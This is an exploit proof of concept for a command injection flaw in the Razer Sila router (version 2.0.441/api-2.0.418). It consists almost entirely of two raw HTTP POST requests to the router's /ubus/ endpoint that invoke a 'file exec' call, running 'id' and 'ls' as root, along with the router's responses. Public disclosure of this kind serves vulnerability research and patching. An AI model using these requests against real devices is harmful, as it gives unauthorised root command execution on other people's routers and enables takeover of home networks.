Razer Sila 2.0.418 Command Injection

`# Exploit Title: Razer Sila - Command Injection  
# Google Dork: N/A  
# Date: 4/9/2022  
# Exploit Author: Kevin Randall  
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila  
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila  
# Version: RazerSila-2.0.441_api-2.0.418  
# Tested on: Razer Sila Router  
# CVE N/A  
  
# Proof of Concept  
  
# Request  
POST /ubus/ HTTP/1.1  
Host: 192.168.8.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 117  
Origin: https://192.168.8.1  
Referer: https://192.168.8.1/  
Te: trailers  
Connection: close  
  
{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}  
  
# Response  
HTTP/1.1 200 OK  
Connection: close  
Content-Type: application/json  
Content-Length: 85  
  
{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"uid=0(root) gid=0(root)\n"}]}  
  
# Request  
POST /ubus/ HTTP/1.1  
Host: 192.168.8.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 117  
Origin: https://192.168.8.1  
Referer: https://192.168.8.1/  
Te: trailers  
Connection: close  
  
{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"ls"}]}  
  
# Response  
HTTP/1.1 200 OK  
Connection: close  
Content-Type: application/json  
Content-Length: 172  
  
{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"bin\ndev\netc\nhome\ninit\nlib\nmnt\nno_gui\noverlay\nproc\nrom\nroot\nsbin\nservices\nsys\ntmp\nusr\nvar\nwww\n"}]}  
  
`